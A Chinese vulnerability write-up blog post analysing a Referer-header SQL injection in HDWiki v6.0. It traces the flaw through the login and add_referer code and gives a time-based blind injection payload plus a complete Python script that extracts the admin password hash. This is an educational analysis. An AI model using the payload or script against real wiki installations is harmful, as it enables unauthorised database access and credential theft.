651 words
3 minutes
HDWiki v6.0最新版referer注入漏洞(每周一洞)
2018-07-22

0x01 前言#

经拖稿一个月了,差了四篇文章没补回来, 现在都补上,虽然说这样没有坚持的按时写下去,但是只要记得要做这个事情就行了,不能中途而废。这个漏洞比较鸡肋,搁现在估计都没戏了,但是这个漏洞的思路可以学习下,积累经验。

0x02 环境搭建#

6.0可以在官网下载:http://kaiyuan.hudong.com/download/ 在文章底部也会附上源码,搭建就不详细说明了,在我的其他文章也有搭建的详细步骤。用到的集成环境是PHPstudy,PHP版本是5.3,开启GPC。

0x03 漏洞利用#

1. 注册账号#

http://sb.com/index.php?user-register

2. 截获数据包#

http://sb.com/index.php?user-login, 用burp或者其他工具截取数据包。

3. 执行Payload#

在数据包下面加上referer:referer:' where if((substr((select password from wiki_user where username='admin'),1,1))='e',sleep(5),0)# 看到burp的右下角时间比没有加上payload的时候多了5s,证明漏洞利用成功。

0x04 漏洞分析#

文件control/user.php的110行dologin()函数,为什么要登录用户才有效呢,因为$_ENV['user']这里检测了cookies,所以没有用户登录是不能执行不成功的。想了解的可以进去读一下这个代码,主要存在注入的地方是在$_ENV['user']->add_referer();这里。

function dologin(){ $_ENV['user']->passport_server('login','1'); if(!isset($this->post['submit'])){ $this->view->assign('checkcode',isset($this->setting['checkcode'])?$this->setting['checkcode']:0); $_ENV['user']->add_referer(); $_ENV['user']->passport_server('login','2'); $_ENV['user']->passport_client('login'); if (!isset($this->setting['name_min_length'])) {$this->setting['name_min_length'] = 3;} if (!isset($this->setting['name_max_length'])) {$this->setting['name_max_length'] = 15;} $loginTip2 = str_replace(array('3','15'),array($this->setting['name_min_length'],$this->setting['name_max_length']),$this->view->lang['loginTip2']); $this->view->assign('name_min_length',$this->setting['name_min_length']); $this->view->assign('name_max_length',$this->setting['name_max_length']); $this->view->assign('loginTip2',$loginTip2); //$this->view->display('login'); $_ENV['block']->view('login'); }else{

继续跟进add_referer()函数的分析,model\user.class.php的41行,这里判断了HTTP_REFERER是否为真然后执行下面内容,可以看到把$_SERVER['HTTP_REFERER']带入UPDATE语句,但是有一个haddslashes函数的过滤。

function add_referer(){ if($_SERVER['HTTP_REFERER']){ $this->db->query("UPDATE ".DB_TABLEPRE."session SET referer ='".string::haddslashes($_SERVER['HTTP_REFERER'])."' WHERE sid='".base::hgetcookie('sid')."'"); } }

我们进入haddslashes()函数,在lib\string.class.php文件的125行,可以看到MAGIC_QUOTES_GPC如果PHP开启了GPC,那就不进行下面的过滤直接返回原字符串$string,所以就造成了SQL注入。

function haddslashes($string, $force = 0) { if(!MAGIC_QUOTES_GPC || $force) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = string::haddslashes($val, $force); } }else { $string = addslashes($string); } } return $string; }

0x05 Python脚本#

因为是盲注所以还是脚本跑比较省事,改进了一下原作者的脚本。

#coding:utf-8 import time import httplib payloads = list('1234567890abcdefghijklmnopqrstuvwxyz')#匹配用到的字符串 val ='' Cookies = 'hd_sid=pUQ1Aq; PHPSESSID=jatvti3nlm2ro3i7oscke307e0; hd_auth=fa04EhT6qA%2BHMlu7IOesKoc8Xs%2F5b%2Fd18B4obJ17nm7F%2BvPbknFWVkAx1u4CLLl75EzncqWZRI94cSDMjJEV' url = '/index.php?user-login' for i in xrange(1,32): for payload in payloads: header ={ 'Cookie':Cookies, 'referer':"'where if(substr((select password from wiki_user where username='admin'),"+str(i)+",1)='"+payload+"',sleep(3),0)#", } try: conn = httplib.HTTPConnection('sb.com',timeout=5) conn.request(method='GET',url=url,headers=header) start = time.clock() html_doc=conn.getresponse().read() end = time.clock() dely=end-start #print dely if((dely)>2): val+=payload break except Exception as e: pass finally: conn.close() print 'password:'+val

0x06 结束#

这个漏洞确实是比较鸡肋的,要PHP小于5.4版本并且开启GPC,现在PHP差不多都是5.6版本以上的。

0x07 参考#

http://www.freebuf.com/vuls/170337.html

https://github.com/F0r3at/Python-Tools/blob/master/sql_hdwiki6.py

https://www.lanzous.com/i1hb0od 源码

HDWiki v6.0最新版referer注入漏洞(每周一洞)
https://fuwari.vercel.app/posts/hdwiki-v60_latest_version_of_referer_injection_vulnerability/
Author
Lorem Ipsum
Published at
2018-07-22